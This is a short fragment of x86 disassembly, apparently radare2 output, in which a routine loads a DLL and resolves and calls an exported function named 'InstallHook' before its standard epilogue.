lea eax, [ebp - 0x18]
call fcn.00401b28
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5da50c], eax
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
cmp dword [0x5da50c], 0
je 0x40d3c6
push str.InstallHook
push dword [0x5da50c]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x48], eax
mov word [ebp - 0x2c], 0x2c
call dword [ebp - 0x48]
mov word [ebp - 0x2c], 0x14
jmp 0x40d3c6
mov word [ebp - 0x2c], 0
jmp 0x40d3d9
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret